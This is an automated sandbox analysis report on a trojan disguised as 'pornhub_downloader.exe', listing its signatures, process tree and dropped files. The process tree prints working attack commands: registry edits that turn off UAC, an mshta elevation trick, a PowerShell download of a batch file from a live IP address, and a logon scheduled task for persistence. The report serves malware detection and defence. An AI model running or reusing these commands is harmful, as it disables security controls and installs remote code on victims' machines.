Overview

overview

10

Static

static

3

pornhub_do...er.exe

windows7-x64

10

pornhub_do...er.exe

windows10-2004-x64

10

pornhub_do...er.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-06-2024 11:23

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    pornhub_downloader.exe

  • Size

    88KB

  • MD5

    759f5a6e3daa4972d43bd4a5edbdeb11

  • SHA1

    36f2ac66b894e4a695f983f3214aace56ffbe2ba

  • SHA256

    2031202030b1581acb6694f7ba528431a5015c7c37a4c6bcc0e1afdbca6f120d

  • SHA512

    f97c793e1489e09dc6867bc9fb8a8e6073e08e1019b7a6fd57efdb31099047fcef9bc7bc3a8194742d7998f075c50e5d71670711bf077da1ac801aab7d19b385

  • SSDEEP

    1536:D7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIf+xB4O5:fq6+ouCpk2mpcWJ0r+QNTBf+LV

Score
10/10
evasionexecutiontrojan

Malware Config

Signatures

  • UAC bypass 3 TTPs 3 IoCs
    evasiontrojan
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

    execution
  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

    evasion
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 25 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\pornhub_downloader.exe
    "C:\Users\Admin\AppData\Local\Temp\pornhub_downloader.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4596
    • C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\3A1B.tmp\3A1C.tmp\3A1D.bat C:\Users\Admin\AppData\Local\Temp\pornhub_downloader.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4180
      • C:\Windows\system32\mshta.exe
        mshta vbscript:createobject("shell.application").shellexecute("C:\Users\Admin\AppData\Local\Temp\PORNHU~1.EXE","goto :target","","runas",1)(window.close)
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:4168
        • C:\Users\Admin\AppData\Local\Temp\PORNHU~1.EXE
          "C:\Users\Admin\AppData\Local\Temp\PORNHU~1.EXE" goto :target
          4⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:5020
          • C:\Windows\system32\cmd.exe
            "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\3BFF.tmp\3C00.tmp\3C01.bat C:\Users\Admin\AppData\Local\Temp\PORNHU~1.EXE goto :target"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1792
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F
              6⤵
              • UAC bypass
              PID:2200
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F
              6⤵
              • UAC bypass
              PID:5096
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F
              6⤵
              • UAC bypass
              PID:2652
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "reg query HKEY_CLASSES_ROOT\http\shell\open\command"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:868
              • C:\Windows\system32\reg.exe
                reg query HKEY_CLASSES_ROOT\http\shell\open\command
                7⤵
                  PID:700
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.pornhub.com/
                6⤵
                • Enumerates system info in registry
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                • Suspicious use of WriteProcessMemory
                PID:1764
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa621c46f8,0x7ffa621c4708,0x7ffa621c4718
                  7⤵
                    PID:3592
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2172,17897734636524488536,13411631606832487379,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2180 /prefetch:2
                    7⤵
                      PID:1600
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2172,17897734636524488536,13411631606832487379,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 /prefetch:3
                      7⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1748
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2172,17897734636524488536,13411631606832487379,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2828 /prefetch:8
                      7⤵
                        PID:5052
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17897734636524488536,13411631606832487379,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:1
                        7⤵
                          PID:1568
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17897734636524488536,13411631606832487379,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
                          7⤵
                            PID:516
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17897734636524488536,13411631606832487379,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1960 /prefetch:1
                            7⤵
                              PID:2184
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17897734636524488536,13411631606832487379,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4996 /prefetch:1
                              7⤵
                                PID:4348
                              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2172,17897734636524488536,13411631606832487379,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5552 /prefetch:8
                                7⤵
                                  PID:3888
                                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2172,17897734636524488536,13411631606832487379,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5552 /prefetch:8
                                  7⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:2928
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17897734636524488536,13411631606832487379,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5648 /prefetch:1
                                  7⤵
                                    PID:4276
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17897734636524488536,13411631606832487379,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5660 /prefetch:1
                                    7⤵
                                      PID:2940
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17897734636524488536,13411631606832487379,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5240 /prefetch:1
                                      7⤵
                                        PID:3428
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17897734636524488536,13411631606832487379,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5188 /prefetch:1
                                        7⤵
                                          PID:1488
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2172,17897734636524488536,13411631606832487379,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4124 /prefetch:2
                                          7⤵
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:1484
                                      • C:\Windows\system32\attrib.exe
                                        attrib +s +h d:\net
                                        6⤵
                                        • Sets file to hidden
                                        • Views/modifies file attributes
                                        PID:2804
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -c "invoke-webrequest -uri http://206.217.142.166:1234/windows/v2/dr.bat -outfile d:\net\dr\dr.bat"
                                        6⤵
                                        • Blocklisted process makes network request
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3116
                                      • C:\Windows\system32\schtasks.exe
                                        SchTasks /Create /SC ONLOGON /TN "my dr" /TR "d:\net\dr\dr.bat" /f
                                        6⤵
                                        • Creates scheduled task(s)
                                        PID:4772
                            • C:\Windows\System32\CompPkgSrv.exe
                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                              1⤵
                                PID:4940
                              • C:\Windows\System32\CompPkgSrv.exe
                                C:\Windows\System32\CompPkgSrv.exe -Embedding
                                1⤵
                                  PID:2332

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                  Filesize

                                  152B

                                  MD5

                                  3a09f853479af373691d131247040276

                                  SHA1

                                  1b6f098e04da87e9cf2d3284943ec2144f36ac04

                                  SHA256

                                  a358de2c0eba30c70a56022c44a3775aa99ffa819cd7f42f7c45ac358b5e739f

                                  SHA512

                                  341cf0f363621ee02525cd398ae0d462319c6a80e05fd25d9aca44234c42a3071b51991d4cf102ac9d89561a1567cbe76dfeaad786a304bec33821ca77080016

                                  Download Submit

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                  Filesize

                                  152B

                                  MD5

                                  db9081c34e133c32d02f593df88f047a

                                  SHA1

                                  a0da007c14fd0591091924edc44bee90456700c6

                                  SHA256

                                  c9cd202ebb55fe8dd3e5563948bab458e947d7ba33bc0f38c6b37ce5d0bd7c3e

                                  SHA512

                                  12f9809958b024571891fae646208a76f3823ae333716a5cec303e15c38281db042b7acf95bc6523b6328ac9c8644794d39a0e03d9db196f156a6ee1fb4f2744

                                  Download Submit

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                  Filesize

                                  864B

                                  MD5

                                  b5f0faf2b476f7c100435246bd25387a

                                  SHA1

                                  568b307e498a63c8b040056f9caef32894157071

                                  SHA256

                                  6b1dbecceb9adc79ac7f2ef3b906fe96745394b763a3fc3b61d028bfc2f36985

                                  SHA512

                                  6822bfb74025b4d2fc58787fb1e45fc4d68a4a497a8205af743aa94046a63f971681fe1cc23cdd12761951f7500415e86a2cebde5a03e7acfafca68e829690ac

                                  Download Submit

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
                                  Filesize

                                  1KB

                                  MD5

                                  357710d007ca08c68a581b93d6016626

                                  SHA1

                                  0f28eebbb3c11a3a14c7dd50023465e7017d6bdb

                                  SHA256

                                  73cba0238e5ac8392c3360d7f2598e0f1f0aada546d136e73e4b8ded0caf4e9b

                                  SHA512

                                  7fa3d9acca1d78eb502055bc237ae6c119f2a36f8b3487f8b4b6f68c0594d01afe261950cf51a50eb6a2ac9de4d14b0fb284afec0b8fff4d594183fe12c562bb

                                  Download Submit

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                  Filesize

                                  7KB

                                  MD5

                                  6127d37ff32cd56d862701caa3e2c04e

                                  SHA1

                                  3f3b1a26c22f6fab31763dc58827ea094ca0944b

                                  SHA256

                                  db96d4e8afcf99c3d7effef516d0bc78e53445d5497b8c17c92207014d49c182

                                  SHA512

                                  a6f982b88f48b769b7b1635de7d5511d64dc5344196cd28f8e21d03c138c2b1fa54d5bd55c8f46cde6037c41256dd8c43b7ea02458d95200842ddc5881e11de9

                                  Download Submit

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                  Filesize

                                  6KB

                                  MD5

                                  b5454e7add25105d21df04c54c5b30a0

                                  SHA1

                                  b7b0cdd111f99dbe9e49f145865a320c3b7bd5e5

                                  SHA256

                                  ba73a121ddcc70b3bf4f0b333aba03685a59ac27dfd31542b0c06c94604d1682

                                  SHA512

                                  8e9c92f4b952eb2227d104328e8a9c818a56bbf9bae3cb6b1d19bc78c80ed2e1414981bb33f3bd011fd91ea05eb592e864e0bf05775afcba9ea129be5328025a

                                  Download Submit

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                  Filesize

                                  96B

                                  MD5

                                  560d82bdef3b692b82128cc485e39444

                                  SHA1

                                  505f7a536e26b4a0533cae8eccb32d6c17f5d9ac

                                  SHA256

                                  213b803ab48167c7e4ed720ef5f981f95b97096ff9b3ccffa36baf9723db8856

                                  SHA512

                                  02a040afffe3261ffdc402f9cfbd32119cea1cc6ce521b011fc6db7452868c5b43a94440881002291fd1eef0d9e70c0d1911a147221107b750e2de7ba45d8cd2

                                  Download Submit

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe579887.TMP
                                  Filesize

                                  48B

                                  MD5

                                  4a4cd6aa75d0a3f19f4b657b6c4f4c73

                                  SHA1

                                  d7920b11fe2db5c497f786f88cfa0258fa05e2ff

                                  SHA256

                                  96e1513e4e13d4a1fc8b6cadea363510f0fd2e968a2eb1b811408c78873af9b8

                                  SHA512

                                  efd6654ea9fe235b464ddfd16b9f31861caf10c0920e5306a8a6c0b6c19b96f774dc561f64f0c87e1448c5df98e2fba9bd02c46112d8ab81cf2b14b4fe299978

                                  Download Submit

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
                                  Filesize

                                  16B

                                  MD5

                                  6752a1d65b201c13b62ea44016eb221f

                                  SHA1

                                  58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                                  SHA256

                                  0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                                  SHA512

                                  9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                                  Download Submit

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                  Filesize

                                  11KB

                                  MD5

                                  569cbbd2d05c4831a614867c382bc9ed

                                  SHA1

                                  2f9cc4662fe29b7ba923e4409e8158fe45f3ec7a

                                  SHA256

                                  39df9fe2f80275c219060c2934fcdc3bfe6c1f59c253a3d3eb357f523a5227bb

                                  SHA512

                                  9e6af7fe6cb90177c981652ca06033f8dcf84bc2ea1e21be5e592bb55be239d7c1b9df30862a33cc07511b5870775a71e2a5aaa5efb21538d8f159988957e106

                                  Download Submit

                                • C:\Users\Admin\AppData\Local\Temp\3A1B.tmp\3A1C.tmp\3A1D.bat
                                  Filesize

                                  1KB

                                  MD5

                                  9856d2fe29a28c54c5943c2150f7bae1

                                  SHA1

                                  f7532a2a79b1b6aca1c151b34fe8b1ce2c798e97

                                  SHA256

                                  0b6140b4764863f3263b0be87f35c9afe9a849823eccf37259bed08baa93e999

                                  SHA512

                                  002db693f5664f80e58bb3590f32068f611bc97d3f71324abb659dd1fd0bffe3df36379ae92ffbeabde10bd6245b3c069b56ba4d8b4608c634a2525e7a76735f

                                  Download Submit

                                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ejnq04ld.0xr.ps1
                                  Filesize

                                  60B

                                  MD5

                                  d17fe0a3f47be24a6453e9ef58c94641

                                  SHA1

                                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                  SHA256

                                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                  SHA512

                                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                  Download Submit

                                • memory/3116-12-0x0000024483420000-0x0000024483442000-memory.dmp

                                  Filesize

                                  136KB

                                  Download